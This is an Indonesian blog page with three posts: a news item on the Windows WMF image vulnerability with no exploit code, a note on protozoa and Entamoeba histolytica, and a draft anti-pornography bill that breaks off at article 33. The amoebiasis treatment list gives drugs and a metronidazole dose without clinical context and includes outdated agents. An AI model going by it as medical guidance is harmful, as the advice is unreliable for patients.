SEARCH AT GOOGLE

Custom Search

Rabu, 12 November 2008

attention for windows xp user


ternyata sistem operasi windows tidak sekuat yang kita bayangkan, hal ini terbukti dengan adanya celah yang ditinggalkan pada system operasi ini. hal ini jugalah yang mendorong para hacker untuk menyerang Windows.kabar terakhir mengatakan bahwa arus Malware dan Hacker pada tanggal 9 sampai dengan 12 November meningkat tajam, hal ini juga yang mendorong Microsoft mengeluarkan Update terbaru


Celah yang dikenal sebagai celah WMF itu terkait dengan cara Microsoft Windows menangani gambar berformat Windows Meta File (WMF). Celah ini mempengaruhi Windows XP Service Pack 1 (SP 1) dan SP2, serta Windows Server 2003.

Konon, celah ini memungkinkan seorang penyerang mengambil alih kendali komputer yang terhubung ke internet.

Menanggapi kabar yang belakangan ini beredar (Microsoft tak akan mengeluarkan patch-red), perusahaan yang berbasis Redmond itu segera menangkis kabar tersebut.

Microsoft mengatakan pihaknya telah mengeluarkan patch untuk celah tersebut, hanya saja masih harus diuji coba terlebih dulu. Program tambalan ini rencananya akan disertakan pada security updates bulanan pekan depan.

Akhir minggu lalu, Microsoft pernah menegaskan bahwa ada beberapa pihak yang mencoba mengambil keuntungan dari celah Windows ini. Caranya dengan mengelabui pengguna untuk melihat gambar melalui situs jahat atau lewat e-mail attachment. Alhasil, komputer pengguna dengan mudah bisa diserang.

Tetapi serangan ini belum menyebar luas. Menurut Marc Maiffret, Eksekutif eEye Digital Security dari Aliso Viejo California, keringkihan ini kemungkinan masih akan bertambah buruk karena bisa mengelabui hampir seluruh jenis antivirus dan firewall. Hal ini karena kode eksploitasi terbaru itu menghasilkan file WMF yang sangat berbeda.

Untuk mengurangi risiko eksploitasi, para pakar keamanan juga menghimbau agar pengguna tidak sembarangan membuka e-mail dari orang asing atau mengunjungi situs yang mencurigakan.

Selanjutnya »»

Kamis, 06 November 2008

Protozoa

Protozoa adalah organisme yang bersel tunggal, dimana beberapa spesies mempunyai lebih dari satu nukleus (inti sel) pada bagian atau seluruh daur hidupnya. Seperti halnya sel pada tubuh makhluk hidup lainnya, sel protozoa dilapisi oleh tiga lapisan uni membran yang didalamnya terdapat ektoplasma, endoplasma dan nukleus. Dalam endoplasma ditemukan nukleus, mitokondria, badan golgi dan sebagainya, sedangkan ektoplasma ditemukan flagela , cilia dan sebagainya. Protozoa pada dasarnya bergerak menggunakan 4 tipe organela yang merupakan bagian dari ektoplasma yaitu:
Flagela, cilia, pseudopodia dan undulata bergerigi.


- Flagella: bentuk langsing seperti rambut tunggal yang panjang
- Cilia: Bentuk flagela yang kecil dan lebih pendek
- Pseudopodia: Organela sementara yang menonjol biasanya digunakan untuk bergerak/menangkap makanan.
- Gerigi undulata: Pergerakan dengan menggunakan bentuk gelombang dari sel dengan pergerakan dari belakang kedepan dan sebaliknya.
Biasanya protozoa mempunyai dua stadium yang selalu dialaminya yaitu stadium trophozoit yaitu bentuk aktif dan bentuk cyste merupakan bentuk inaktif.

Genus: Entamuba

Klasifikasi:
Class : Rhizopoda
Ordo: Amoebida
Genus: Entamoeba
Spesies: Entamoeba histolytica
E. coli
E. ginggivalis
Diantara 3 spesies entamoeba, E. histolytica adalah paling patogen pada manusia. Organisme ini adalah salah satu agen penyakit penyebab dysentri. Selama beberapa tahun belakangan diketahui bahwa ada dua jenis entamoeba yang dibedakan menurut ukuran trophozoit dan cystenya. yaitu:
Ukuran besar : Trophozoit: 20-30 m
Cyste: 10-20 m
Ukuran kecil: Trophozoit : 12-15 m
Cyste: 5-9 m
E. histolytica ukuran besar ada dua strain yaitu patogenik dan non-patogenik. Ukuran kecil biasanya non-patogenik. Strain E. histolytica yang patogen adalah merupakan parasit protozoa yang paling penting pada orang dan banyak diteliti.
Daur hidup
Parasit ini mengalami fase pre dan meta dalam daur hidupnya yaitu:
Trophozoit---precyste---Cyste---metacyste-----metacyste trophozoit.
Trophozoit yang mengandung beberapa nukleus (uni nucleate trophozoit) kadang tinggal dibagian bawah usus halus, tetapi lebih sering berada di colon dan rectum dari orang atau monyet serta melekat pada mukosa. Hewan mamalia lain seperti anjing dan kucing juga dapat terinfeksi. Trophozoit yang motil berukuran 18-30 um bersifat monopodial (satu pseudopodia besar). Cytoplasma yang terdiri dari endoplasma dan ektoplasma, berisi vakuola makanan termasuk erytrocyt, leucocyte, sel epithel dari hospes dan bakteria. Didalam usus trophozoit membelah diri secara asexual.
Trophozoit menyusup masuk kedalam mukosa usus besar diantara sel epithel sambil mensekresi enzim proteolytik. Didalam dinding usus tersebut trophozoit terbawa aliran darah menuju hati, paru, otak dan organ lain. Hati adalah organ yang paling sering diserang selain usus. Di dalam hati trophozoit memakan sel parenchym hati sehingga menyebabkan kerusakan hati. Invasi amoeba selain dalam jaringan usus disebut amoebiasis sekunder atau ekstra intestinal.
Trophozoit dalam intestinal akan berubah bentuk menjadi precystic. Bentuknya akan mengecil dan bebentuk spheric dengan ukuran 3,5-20 um. Bentuk cyste yang matang mengandung chromatoid untuk menyimpan unsur nutrisi glycogen yang digunakan sebagai sumber energi. Cyste ini adalah bentuk inaktif yang akan keluar melalui feses.
Cyste sangat tahan terhadap bahan kimia tertentu. Cyste dalam air akan bertahan sampai 1 bulan, sedangkan dalam feses yang mengering dapat bertahan sampai 12 hari. Bila air minum atau makanan terkontaminasi oleh cyste E. histolytica, cyste akan masuk melalui saluran pencernaan menuju ileum dan terjadi excystasi, dinding cyste robek dan keluar amoeba “multinucleus metacystic” yang langsung membelah diri menjadi 8 uninucleat trophozoit muda disebut “amoebulae”. Amoebulae bergerak ke usus besar, makan dan tumbuh dan membelah diri asexual.
Multiplikasi (perbanyakan diri) dari spesies ini terjadi dua kali dalam masa hidupnya yaitu: membelah diri dengan “binary fission” dalam usus pada fase trophozoit dan pembelahan nukleus yang diikuti dengan cytokinesis dalam cyste pada fase metacystic.
Patologi
E. histolytica adalah spesies amoeba yang paling unik dan berbahaya diantara spesies amoeba lainnya yang menginfeksi orang. Hal tersebut karena protozoa ini mempunyai kemampuan untuk menghydrolysis jaringan hospes (histo=jaringan, lytic=lysis). Sekali amoeba ini berkontak dengan mukosa, parasit ini mensekresi enzim proteolytic, sehingga organisme ini dapat berpenetrasi kedalam epithelium kemudian kejaringan yang lebih dalam.
Lesi intestinal
Terjadi pertama didaerah caecum, appendix, colon ascenden dan berkembang ke colon lainnya. Bila sejumlah parasit ini menyerang mukosa akan menimbulkan ulcus(borok), yang mempercepat kerusakan mukosa. Lapisan muskularis usus biasanya lebih tahan. Biasanya lesi akan terhenti didaerah membran basal dari muskularis mukosa dan kemudian terjadi erosi lateral dan berkembang menjadi nekrosis. Jaringan tersebut akan cepat sembuh bila parasit tersebut dihancurkan (mati). Pada lesi awal biasanya tidak terjadi komplikasi dengan bakteri. Pada lesi yang lama (kronis) akan diikuti infeksi sekunder oleh bakteri dan dapat merusak muskularis mukosa, infiltrasi ke sub-mukosa dan bahkan berpenetrasi ke lapisan muskularis dan serosa.
Terjadinya kasus trophozoit terbawa aliran darah dan limfe ke lokasi lain dari tubuh, menyebabkan terjadinya lesi pada organ lain. Tingginya angka kematian karena penyakit ini disebabkan oleh robeknya colon bersamaan dengan terjadinya peritonitis. Lesi sekunder pada organ lain dapat pula ditemukan tetapi lebih sering dijumpai lesi pada hati (sekitar 5% dari kasus amebiasis).
Lesi pada hati
Hal ini terjadi bila trophozoit masuk kedalam venula mesenterika dan bergerak ke hati melalui sistem vena porta hepatis, kemudian masuk melalui kapiler darah portal menuju sinusoid hati dan akhirnya membentuk absces. Besarnya absces cukup bervariasi dari bentuk titik yang kemudian membesar sampai seperti buah anggur. Ditengah absces akan terlihat adanya cairan nekrosis, ditengahnya ada sel stroma hati dan bagian luarnya terlihat jaringan hati yang ditempeli oleh ameba. Bilamana absces pecah serpihan absces akan tersebar dan menginfeksi jaringan lainnya.
Lesi jaringan lainnya
Lesi pada jaringan lainnya seperti lesi pulmonaris (paru), otak, kulit dan penis, terjadi karena metastasis dari jaringan hati. Dimana semua kasus terjadi berasal dari absces jaringan hati.
Diagnosis
Diagnosis terutama dilihat dari gejala klinis dan reaksi tes imunologi. Pemeriksaan dengan sinar x dapat mendiagnosis adanya absces dalam hati. Pemeriksaan sampel feses cukup baik dilakukan untuk mendiagnosis infeksi dalam usus. Pemeriksaan beberapa kali terhadap feses pasien untuk menemukan trophozoit cukup baik dilakukan. Diagnosis secara imunologik cukup baik hasilnya. Penggunaan teknik fluoerscens antibodi cukup baik tetapi tidak dpat membedakan antara E. histolytica dengan E. hartmanni.
Pengobatan
Beberapa obat cukup baik untuk membunuh koloni amebiasis yaitu:
- Asam arsanilik dan derivatnya
- iodichlor hydroxyquinolines
Bererapa antibiotik terutama:
- Tetracycline, cukup baik, tetapi kurang baik untuk infeksi ectopic.
- Chloroquine phosphat dan niridazole, cukup efisien
- Metronidazole, merupakan pilihan tepat karena efektif terhadap amebiasis extra intestinal dan infeksi koloni (dosis 2g/hari, selama 3 hari).


Selanjutnya »»

Minggu, 19 Oktober 2008

Draf Rancangan Undang Undang Pornografi

Draf Rancangan Undang Undang Pornografi

Menimbang:

a. bahwa Negara Republik Indonesia merupakan negara hukum yang berdasarkan Pancasila yang menghormati ke-Bhinneka-an dalam kehidupan berbangsa dan bemegara yang bertanggung jawab melindungi setiap warga negara, harkat dan martabat manusia, menjunjung tinggi nilai-nilai moral, etika, akhlak mulia, dan kepribadian luhur yang beriman dan bertaqwa kepada Tuhan Yang MahaEsa;

b. bahwa dampak globalisasi dan kondisi kesejahteraan masyarakat berpengaruh terhadap pembuatan, penyebarluasan, dan penggunaan
pornografi, perbuatan asusila dan tindak kecabulan di tengah-tengah masyarakat sehingga dapat mengancam kepribadian generasi bangsa dan tatanan kehidupan sosial masyarakat Indonesia;

c. bahwa peraturan perundang-undangan yang berkaitan dengan pornografi dan tindak kecabulan yang ada dalam berbagai perundang-undangan sampai saat ini belum mengatur secara tegas dan sudah tidak sesuai dengan kebutuhan hukum serta perkembangan masyarakat dalam rangka melestarikan tatanan kehidupan dan ketertiban serta penegakan hukum;

d. bahwa berdasarkan pertimbangan sebagaimana dimaksud dalam huruf a, huruf b, dan huruf c, perlu membentuk Undang-Undang tentang Pornografi.

Mengingat:

1. Pasal 20, Pasal 21, Pasal 28 J, dan Pasal 29 Undang-Undang Dasar Negara Republik Indonesia Tahun 1945;

2. Tap MPR VI/MPR/2001 Tentang Etika Kehidupan Berbangsa;

3. Undang-Undang Nomor 1 Tahun 1946 tentang Kitab Undang-Undang Hukum Pidana;

4. Undang-Undang Nomor 32 Tahun 2002 tentang Penyiaran (Lembaran Negara Republik Indonesia Tahun 2002 Nomor 139, Tambahan Lembaran Negara Republik lndonesia Nomor 4252);

5. Undang-Undang Nomor 23 Tahun 2002 Tentang Perlindungan Anak (Lembaran Negara Republik Indonesia Tahun 2002 Nomor 109,

6. Undang-Undang Nomor 43 Tabun 1999 tentang Pers, Lembaran Negara Republik Indonesia Tahun 1999 Nomor 166, Tambahan (Lembaran Negara Republik Indonesia Nomor 3887);

7. Undang-Undang Nomor 25 Tahun 2004 Tentang Sistem Perencanaan Pembangunan Nasional (Lembaran Negara Republik Indonesia Tahun 2004 Nomor 104, Tambahan Lembaran Negara Republik Indonesia Nomor 4421).



Dengan Persetujuan Bersama
DEWAN PERWAKILAN RAKYAT REPUBLIK INDONESIA
dan
PRESIDEN REPUBLIK INDONESIA
MEMUTUSKAN:

Menetapkan: UNDANG-UNDANG TENTANG PORNOGRAFI


BAB I
KETENTUAN UMUM

Pasal 1
Dalam Undang-Undang ini yang dimaksud dengan:
1. Pornografi adalah hasil karya manusia yang memuat materi seksualitas dalam bentuk gambar, sketsa, ilustrasi, foto, tulisan, suara, bunyi, gambar bergerak, animasi, kartun, syair, percakapan, atau bentuk-bentuk pesan komunikasi lain dan/atau melalui media yang dipertunjukkan di depan umum dan/atau dapat membangkitkan hasrat seksual serta melanggar nilai-nilai kesusilaan dalam masyarakat dan/atau menimbulkan berkembangnya pornoaksi dalam masyarakat.

2. Pornografi ringan adalah segala bentuk pornografi yang menggambarkan secara implisit kegiatan seksual termasuk bahan-bahan yang menampilkan ketelanjangan, adegan-adegan yang secara sugestif yang bersifat seksual atau meniru adegan seks.

3. Pornografi berat adalah segala bentuk pornografi yang menggambarkan tindakan seksual secara eksplisit seperti alat kelamin, penetrasi dan hubungan seks yang menyimpang dengan pasangan sejenis, anak-anak, orang yang telah meninggal dan/atau hewan.

4. Pornografi anak adalah segala bentuk pornografi yang melibatkan anak atau citra anak atau ibu hamil sebagai subyek ataupun obyek yang diproduksi baik secara mekanik atau elektronik atau bentuk sarana lainnya.

5. Membuat adalah kegiatan atau serangkaian kegiatan memproduksi materi media massa cetak, media massa elektronik, media komunikasi lainnya, dan barang-barang pornografi.

6. Menyebarluaskan adalah kegiatan atau serangkaian kegiatan mengedarkan materi media massa cetak, media massa elektronik, media-media komunikasi lainnya, seperti merekam melalui HP/video yang di dalamnya ada unsur pornografi atau media komunikasi lainnya, dan mengedarkan barang-barang yang mengandung sifat pornografi dengan cara memperdagangkan, memperlihatkan, memperdengarkan, mempertontonkan, mempertunjukkan, menyiarkan, menempelkan, dan/atau menuliskan.

7. Menggunakan adalah kegiatan memakai materi media massa cetak, media massa elektronik, alat komunikasi medio, dan barang dan/atau jasa pornografi.

8. Media massa cetak adalah alat atau sarana penyampaian informasi dan pesan-pesan secara visual kepada masyarakat luas berupa barang-barang cetakan massal antara lain buku, suratkabar, majalah, dan/atau tabloid.

9. Media massa elektronik adalah alat atau sarana penyampaian informasi dan pesan-pesan secara audio dan/atau visual kepada masyarakat luas antara lain berupa radio, televisi, film, dan/atau yang dipersamakan dengan film.

10.Alat komunikasi medio adalah sarana penyampaian informasi dan pesan-pesan secara audio dan/atau visual kepada satu orang dan/atau sejumlah orang antara lain berupa telepon, Short Message Service, Multimedia Messaging Service, surat, pamflet, leaflet, booklet, selebaran, poster, bluetooth dan media elektronik baru yang berbasis komputer seperti internet dan/atau intranet.

II. Data elektronik adalah segala bentuk informasi yang telah tertata, tersusun atau terstruktur, baik dalam format database, teks, gambar, audio maupun video, yang dibuat dan/atau disajikan dengan menggunakan peralatan elektronik.

12. Barang pornografi adaIah semua benda yang materinya mengandung pornografi antara lain dalam bentuk buku, surat kabar, majalah, tabloid dan media cetak sejenisnya, film, dan/atau yang dipersamakan dengan film, video, video compact disc, digital video disc, compact disc, personal computer-compact disc read only memory, kaset dan rekaman hand phone dan/atau alat komunikasi lainnya.

13.Jasa pornografi adalah segala jenis layanan pornografi yang disediakan oleh perorangan ataupun badan hukum atau yang lainnya, melalui telepon, televisi kabel, internet, dan/atau komunikasi elektronik lainnya, dengan cara memesan atau berlangganan barang-barang pornografi yang dapat diperoleh secara langsung dengan cara menyewa, meminjam, atau membeli.

14.Setiap orang adalah orang perseorangan atau sekumpulan orang atau korporasi baik berupa badan hukum maupun bukan badan hukum.

15.Anak adalah seseorang yang belum berusia 18 (delapan belas) tahun termasuk anak yang masih dalam kandungan.

16.Pemerintah adalah Pemerintah Pusat yang dipimpin oleh Presiden Republik Indonesia yang memegang kekuasaan pemerintahan negara Republik Indonesia sebagaimana dimaksud dalam Undang-Undang Dasar Negara Republik Indonesia Tahun 1945.

17.Pemerintah Daerah adalah adalah Gubernur, Bupati, atau Walikota, dan perangkat daerah sebagai unsur penyelenggara pemerintahan daerah.

18.Masyarakat adalah orang perseorangan, keluarga, kelompok atau organisasi sosial dan/atau organisasi kemasyarakatan.


BAB II
ASAS, TUJUAN DAN RUANG LINGKUP

Bagian Pertama
Asas dan Tujuan

Pasal 2
Undang-Undang tentang Pornografi berdasarkan asas penghormatan terhadap nilai-nilai Ketuhanan Yang Maha Esa dan kemanusiaan yang adil dan beradab, kebhinnekaan, kepastian hukum, antidiskriminasi dan perlindungan terhadap warga negara dari dampak negatif pornografi.

Pasal 3
Undang-Undang tentang Pornografi bertujuan:
a. mewujudkan dan memelihara tatanan kehidupan masyarakat yang beretika, mempertahankan dan memperkokoh kepribadian luhur bangsa yang menjunjung tinggi nilai-nilai Ketuhanan Yang Maha Esa dan kemanusiaan yang adil dan beradab;
b. memberikan perlindungan, pembinaan, pendidikan moral dan akhlak kepada masyarakat serta kepastian hukum yang mampu melindungi setiap warganegara, terutama anak dan perempuan dari eksploitasi seksual; dan
c. mencegah dan menghentikan berkembangnya komersialisasi seks dan eksploitasi seksual baik industri maupun distribusinya.

Bagian Kedua
Ruang Lingkup

Pasal 4
(1)Ruang lingkup Undang-Undang tentang pornografi merupakan regulasi pornografi termasuk yang berkaitan dengan pornoaksi baik sebagai sebab maupun akibat dari pornografi.

(2)Ruang lingkup pornografi yang diatur sebagaimana dimaksud pada Ayat (1) meliputi:

a. pembuatan meliputi kegiatan atau serangkaian kegiatan memproduksi materi media massa cetak, media massa elektronik, alat komunikasi medio, atau media komunikasi lainnya seperti merekam melalui hand phone atau video yang di dalamnya ada unsur pornografi dan barang-barang pornografi;

b. penggandaan meliputi kegiatan atau serangkaian kegiatan untuk memperbanyak materi media massa, media massa elektronik, alat komunikasi medio, atau media komunikasi lainnya seperti merekam melalui hand phone atau video yang di dalamnya ada unsur pornografi dan barang-barang pornografi;

c. penyebarluasan meliputi kegiatan atau serangkaian kegiatan yang bertujuan untuk mengedarkan materi media massa cetak, media massa elektronik, alat komunikasi medio, atau media komunikasi lainnya yang di dalamnya ada unsur pornografi dan mengedarkan barang-barang yang mengandung sifat pornografi dengan cara memperdagangkan, memperlihatkan, memperdengarkan, mempertontonkan, mempertunjukkan, menyiarkan, menempelkan dan/atau menuliskan;

d. penggunaan mencakup segala kegiatan yang memakai materi media massa cetak, media massa elektronik, alat komunikasi medio, atau media komunikasi lainnya seperti merekam melalui hand phone atau video yang di dalamnya ada unsur pomografi, barang dan/atau jasa pomografi; dan

e. penyandang dana (sponsor), prasarana, sarana, media dalam penyelenggaraan pornografi.


BAB III
PENGATURAN

Bagian pertama
Jenis-jenis Pornografi

Pasal 5
(1)Jenis-jenis pornografi terdiri dari:

a. pornografi ringan;

b. pornografi berat; dan/atau

c. pornografi anak.

(2)Pornografi ringan sebagaimana dimaksud pada ayat (1) huruf a meliputi segala bentuk pornografi yang menggambarkan secara implisit kegiatan seksual termasuk bahan-bahan yang menampilkan ketelanjangan, adegan-adegan yang secara sugestif yang bersifat seksual atau meniru adegan seks.

(3)Pornografi berat sebagaimana dimaksud pada ayat (1) huruf b meliputi segala bentuk pornografi yang menggambarkan tindakan seksual secara eksplisit seperti alat kelamin, penetrasi dan hubungan seks yang menyimpang dengan pasangan sejenis, anak-anak, orang yang telah meninggal dan/atau hewan.

(4)Pornografi anak sebagaimana dimaksud pada ayat (1) huruf c meliputi segala bentuk pornografi yang melibatkan anak atau citra anak atau ibu hamil sebagai subyek ataupun obyek yang diproduksi baik secara mekanik atau elektronik atau bentuk sarana lainnya.

Bagian Kedua
Larangan

Pasal 6
Setiap orang dilarang dengan sengaja melakukan salah satu atau lebih dari kegiatan yang menyangkut jenis-jenis pornografi sebagaimana dimaksud dalam Pasal 5 dalam bentuk membuat, menggandakan, menyebarluaskan, menggunakan, dan menyediakan produk media Komunikasi yang mengandung muatan pomografi.

Pasal 7
Setiap orang dilarang menjadikan anak sebagai obyek atau model pornografi.

Pasal 8
Setiap orang dilarang dengan sengaja atau atas persetujuan dirinya menjadi obyek atau model media yang mengandung muatan pornografi.

Pasal 9
Setiap orang dilarang dengan sengaja menjadikan orang lain sebagai obyek atau model media yang mengandung muatan pornografi.

Pasal 10
Setiap orang dilarang mempertontonkan kegiatan yang menggunakan tubuh dengan menggambarkan gerakan yang bermuatan pornografi.

Pasal 11
Setiap orang dilarang merekam praktek persetubuhan dan aktivitas yang mengandung muatan pornografi berat dan menyebarluaskannya kepada masyarakat umum.

Bagian Ketiga
Pembatasan

Pasal 12
(1)Larangan sebagaimana dimaksud dalam Pasal 6 sampai dengan Pasal 11 tidak meliputi:
a. pembuatan, penyebarluasan, dan penggunaan pornografi untuk tujuan:
1. pendidikan dan/atau pengembangan ilmu pengetahuan; dan
2. pengobatan gangguan kesehatan seksual;

b. pertunjukan seni dan budaya;

c. adat istiadat dan tradisi yang bersifat ritual; dan/atau;

d. pembuatan, pemilikan dan penggunaan pornografi untuk kepentingan yang dilindungi oleh peraturan perundang-undangan.

(2)Pendidikan dan/atau pengembangan ilmu pengetahuan sebagaimana dimaksud pada ayat (1) huruf a angka 1 terbatas pada lembaga penelitian dan/atau lembaga pendidikan yang memperoleh izin sesuai dengan peraturan perundang-undangan.

Pasal 13
Setiap orang yang membuat, menyebarluaskan, memiliki, dan/atau menggunakan pornografi sebagaimana dimaksud dalam Pasal 12 ayat (1) huruf a dan huruf d berkewajiban menjaga pornografi tersebut agar penggunaannya sesuai dengan pembatasan dalam undang-undang ini.

Pasal 14
Setiap orang yang tidak memenuhi kewajiban sebagaimana dimaksud daIam Pasal 13 dikategorikan sebagai pelanggaran larangan sebagaimana dimaksud dalam Pasal 6.

Pasal 15
(I) Pembuatan dan pengedaran pornografi sebagaimana dimaksud dalam Pasal 12 ayat (1) huruf a hanya dapat dilakukan di tempat-tempat khusus dan tidak terjangkau oleh pandangan anak -anak serta telah mendapat izin dari instansi pemerintah yang berwenang.
(2)Ketentuan lebih lanjut tentang izin sebagaimana dimaksud pada ayat (1) sesuai peraturan perundangan-undangan.

Bagian Keempat
Perijinan

Pasal 16
(1)Setiap orang yang melanggar izin sebagaimana dimaksud dalam Pasal 12 ayat (2) dan Pasal 15 ayat (1) dikenakan sanksi administratif.

(2)Sanksi administratif sebagaimana dimaksud pada ayat (1) dapat berupa:
a. peringatan tertulis;
b. pembatasan kegiatan usaha;
c. pembekuan kegiatan usaha; dan/atau
d. pencabutan izin usaha.

(3)Ketentuan lebih lanjut mengenai sanksi administratif sebagaimana dimaksud pada ayat (1) sesuai peraturan perundang-undangan.


BAB IV
PERLINDUNGAN ANAK

Pasal 17
Setiap orang wajib melindungi anak-anak agar tidak dapat menggunakan dan/atau memperoleh akses pornografi baik yang ditampilkan melalui media massa cetak, media massa elektronik maupun media komunikasi lainnya.

Pasal 18
Setiap anak baik korban atau pelaku pornografi berhak memperoleh pembinaan, pendampingan serta pemulihan sosial, kesehatan fisik dan mental dari negara, keluarga, lembaga sosial, lembaga pendidikan, rohaniawan dan/atau masyarakat dengan sebaik-baiknya.

BAB V
PENCEGAHAN

Bagian Pertama
Peran Pemerintah

Pasal 19
Pemerintah dan Pemerintah Daerah melakukan pencegahan pembuatan, penyebarluasan, dan penggunaan pornografi yang tidak sesuai dan/atau bertentangan dengan undang-undang ini.

Pasal 20
Untuk melakukan upaya pencegahan sebagaimana dimaksud dalam Pasal 19 Pemerintah berwenang:

a. melakukan pengawasan terhadap pembuatan, penyebarluasan dan/atau penggunaan pornografi; ,

b. melakukan kerjasama dengan berbagai pihak baik dalam maupun luar negeri dalam pencegahan dan pemberantasan pembuatan, penyebarluasan dan/atau penggunaan pornografi yang tidak sesuai dan/atau bertentangan dengan undang-undang ini;

c. melakukan koordinasi dalam penyiapan dan penyusunan pelaksanaan kebijakan pencegahan dan penanggulangan masalah pornografi; dan,

d. membangun dan mengembangkan sistem komunikasi, informasi dan edukasi dalam rangka pencegahan dan penanggulangan masalah pornografi; dan

e. melakukan pemutusan jaringan pembuatan, dan penyebarluasan barang pornografi, dan jasa pornografi.

Pasal 21
Untuk melakukan upaya pencegahan sebagaimana dimaksud dalam Pasal 19 Pemerintah Daerah berwenang:

a. menyusun peraturan daerah dalam rangka pencegahan dan pemberantasan pembuatan, penyebarluasan dan penggunaan pornografi yang tidak sesuai dan/atau bertentangan dengan undang-undang;

b. melakukan pengawasan terhadap pembuatan, penyebarluasan dan/atau penggunaan pornografi di wilayahnya;

c. melakukan koordinasi dalam penyiapan dan penyusunan pelaksanaan kebijakan pencegahan dan penanggulangan masalah pornografi di wilayahnya;

d. membangun dan mengembangkan sistem komunikasi, informasi dan edukasi dalam rangka pencegahan dan penanggulangan masalah pornografi di wilayahnya; dan

e. melakukan pemutusan jaringan pembuatan, dan penyebarluasan barang pornografi, dan jasa pornografi di wilayahnya.

Bagian Kedua
Peran Serta Masyarakat

Pasal 22
Setiap orang dapat berperan serta dalam melakukan pencegahan terhadap pembuatan, penyebarluasan dan penggunaan pornografi yang tidak sesuai dan/atau bertentangan dengan undang-undang ini.

Pasal 23
Peran serta sebagaimana dimaksud dalam Pasal 22 dapat dilakukan dengan cara:
a. melaporkan pelanggaran undang-undang ini;
b. melakukan class action/gugatan perwakilan ke pengadilan;
c. melakukan sosialisasi Undang-Undang tentang Pornografi; dan
d. melakukan penyadaran kepada masyarakat akan bahaya dan dampak negatif pornografi.

Pasal 24
Setiap orang yang melaporkan terhadap pelanggaran undang-undang ini sebagaimana dimaksud dalam Pasal 23 huruf a berhak mendapat perlindungan berdasarkan peraturan perundang-undangan.


BAB VI
PENYIDlKAN, PENUNTUTAN, DAN PEMERIKSAAN DI SIDANG PENGADILAN

Pasal 25
Penyidikan, penuntutan dan pemeriksaan di sidang pengadilan terhadap pelanggaran pornografi dilaksanakan berdasarkan Undang-Undang Hukum Acara Pidana yang berlaku, kecuali ditentukan lain dalam Undang-Undang ini.

Pasal 26
Alat bukti selain sebagaimana diatur dalam ketentuan hukum acara pidana, termasuk juga sebagai alat bukti dalam perkara tindak pidana sebagaimana diatur dalam Undang-Undang ini adalah:

a. barang yang memuat tulisan atau gambar baik dalam bentuk cetakan maupun bukan cetakan;

b. barang yang menyimpan tulisan, gambar, suara atau film baik elektronik atau optik atau dalam bentuk penyimpanan data lainnya; dan/atau

c. data yang tersimpan dalam jaringan internet maupun penyedia saluran komunikasi lainnya.

Pasal 27
(1)Untuk kepentingan penyidikan, penyidik berwenang untuk membuka akses, memeriksa dan membuat salinan data elektronik yang tersimpan dalam file komputer, jaringan internet, media optik, serta bentuk penyimpanan data elektronik lainnya.

(2)Untuk kepentingan penyidikan, pemilik data atau penyedia jasa elektronik berkewajiban untuk menyerahkan dan/atau membuka data elektronik yang dimaksud.

(3)Pemilik data dan penyedia jasa layanan elektronik setelah menyerahkan dan/atau membuka data elektronik sebagaimana dimaksud pada ayat (2), berhak menerima tanda terima dari penyidik.

Pasal 28
(1)Apabila sesudah dibuka dan diperiksa, ternyata bahwa data elektronik itu ada hubungannya dengan perkara yang sedang diperiksa, maka data elektronik tersebut dilarnpirkan dalam berkas perkara.

(2)Dalam hal tidak ada hubungannya dengan perkara, maka data elektronik tersebut dihapus.

(3)Penyidik dan para pejabat pada semua tingkat pemeriksaan dalam proses peradilan wajib merahasiakan dengan sungguh-sungguh atas kekuatan sumpah jabatan isi data elektronik yang dihapus.

Pasal 29
Penyidik membuat Berita Acara tentang tindakan sebagaimana dimaksud dalam Pasal 27 dan mengirim turunan Berita Acara tersebut kepada pemilik atau penyedia jasa layanan elektronik dimcr.a data tersebut didapatkan.

BAB VII
PEMUSNAHAN

Pasal 30
(1)Pemusnahan dilakukan terhadap hasil penyitaan dan perampasan barang pornografi yang tidak berijin atau berdasarkan putusan pengadilan.

(2)Pemusnahan barang pornografi sebagaimana dimaksud pada ayat (1) dilakukan oleh penuntut umum dengan membuat berita acara yang sekurang-kurangnya memuat:

a. nama media apabila barang disebarluaskan melalui media massa cetak dan/atau media massa elektronik;

b. nama danjenis sertajumlah barang yang dimusnahkan;

c. hari, tanggal, bulan dan tahun pemusnahan;

d. keterangan mengenai pemilik atau yang menguasai barang yang dimusnahkan; dan

e. tanda tangan dan identitas lengkap para pelaksana dan pejabat yang melaksanakan dan menyaksikan pemusnahan.


BAB VIII
KETENTUAN PIDANA .

Pasal 31
(1)Setiap orang yang membuat pornografi ringan sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana denda paling sedikit Rp. 50.000.000,- (lima puluh juta rupiah) dan paling banyak Rp. 500.000.000,- (lima ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun dan paling lama 5 (lima) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun dan paling lama 5 (lima) tahun.

(2)Dalam hal membuat pornografi ringan sebagaimana dimaksud pada ayat (1) melibatkan anak-anak, dipidana dengan pidana penjara paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 6 (enam) tahun 8 (delapan) bulan dan pidana denda paling sedikit Rp. 150.000.000,- (seratus lima puluh juta rupiah) dan paling banyak Rp. 700.000.000,- (tujuh ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun.

Pasal 32
(1)Setiap orang yang menggandakan pornografi ringan sebagaimana dimaksud dalarn Pasal 6 dipidana dengan pidana denda paling sedikit Rp. 50.000.000,- (lima puluh juta rupiah) dan paling banyak Rp. 500.000.000,- (lima ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun dan paling lama 5 tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun dan paling lama 5 (lima) tahun.

(2)Dalarn hal menggandakan pomografi ringan sebagaimana dimaksud pada ayat (1) melibatkan anak-anak, dipidana dengan pidana penjara paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 6 (enam) tahun 8 (delapan) bulan dan pidana denda paling sedikit Rp. 150.000.000,- (seratus lima puluh juta rupiah) dan paling banyak Rp. 700.000.000,- (tujuh ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahup dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun.

Pasal 33
